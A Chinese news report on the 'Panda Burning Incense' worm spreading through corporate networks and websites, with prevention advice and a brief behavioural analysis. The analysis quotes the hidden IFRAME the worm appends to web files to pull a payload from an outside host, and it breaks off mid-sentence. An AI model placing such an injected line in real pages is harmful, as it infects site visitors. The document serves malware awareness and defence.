“熊猫烧香”肆虐内幕:千余家企业网络遭攻击

　　1月12号，瑞星向企业局域网发布警告，目前“尼姆亚（也称熊猫烧香）”病毒的攻击重点正在转向企业局域网和网站，广大企业和网站应提高警惕紧密防范。瑞星反病毒专家介绍说，该病毒会在中毒电脑中所有的网页文件尾部添加病毒代码。

　　据悉，目前多家著名网站已经遭到此类攻击，而相继被植入病毒。由于这些网站的浏览量非常大，致使此次“熊猫烧香”病毒的感染范围非常广，中毒企业和政府机构已经超过千家，其中不乏金融、税务、能源等关系到国计民生的重要单位。

　　反病毒专家介绍说，“熊猫烧香”其实是“尼姆亚”病毒的新变种，最早出现在2006年的11月，到目前为止已经有数十个不同变种，在此期间瑞星已经发布针对该病毒的专杀工具，今天该工具已经升级，用户可以去瑞星网站（https://it.rising.com.cn/Channels/Service/index.shtml）免费下载使用。

　　除了通过网站带毒感染用户之外，此病毒还会在局域网中传播，在极短时间之内就可以感染几千台计算机，严重时可以导致网络瘫痪。中毒电脑上会出现“熊猫烧香”图案，所以也被称为“熊猫烧香”病毒。中毒电脑会出现蓝屏、频繁重启以及系统硬盘中数据文件被破坏等现象。

　　那么，用户应该如何防范“熊猫烧香”病毒的攻击？

　　专家建议，第一，安装杀毒软件和瑞星卡卡3.1，并在上网时打开网页实时监控。可以登陆：https://www.rising.com.cn 免费下载并使用。用户还可以通过瑞星在线专家门诊：https://help.rising.com.cn取得帮助。

　　第二，网站管理员应该更改机器密码，以防止病毒通过局域网传播。

　　第三，QQ、UC的漏洞已经被该病毒利用，用户应该去他们的官方网站打好最新补丁。

　　第四，该病毒会利用IE浏览器的漏洞进行攻击，因此用户应该给IE打好所有的补丁。如果必要的话，用户可以暂时换用Firefox、Opera等比较安全的浏览器。

　　分析报告：

　　这是一个传染型的DownLoad 使用Delphi编写

　　该病毒的主要行为:

　　一.传播

　　1.本地磁盘感染

　　病毒对系统中所有除了盘符为A,B的磁盘类型为DRIVE_REMOTE,DRIVE_FIXED的磁盘进行文件遍历感染注:不感染文件大小超过10485760字节以上的.

　　(病毒将不感染如下目录的文件):

　　Microsoft Frontpage

　　Movie Maker

　　MSN Gamin Zone

　　Common Files

　　Windows NT

　　Recycled

　　System Volume Information

　　Documents and Settings

　　....

　　(病毒将不感染文件名如下的文件):

　　setup.exe

　　NTDETECT.COM

　　病毒将使用两类感染方式应对不同后缀的文件名进行感染

　　1.二进制可执行文件(后缀后为:EXE,SCR,PIF,COM)

　　将感染目标文件和病毒溶合成一个文件(被感染文件贴在病毒文件尾部)完成感染.

　　2.脚本类(后缀名为:htm,html,asp,php,jsp,aspx)

　　在这些脚本文件尾加上如下链接(下边的页面存在安全漏洞):

　　＜IFRAME src="https://www.krvkr.com/worm.htm" width=height=0＞＜/IFRAME＞

　　在感染时会删除这些磁盘上的后缀名为.GHO

(责任编辑：韩建光)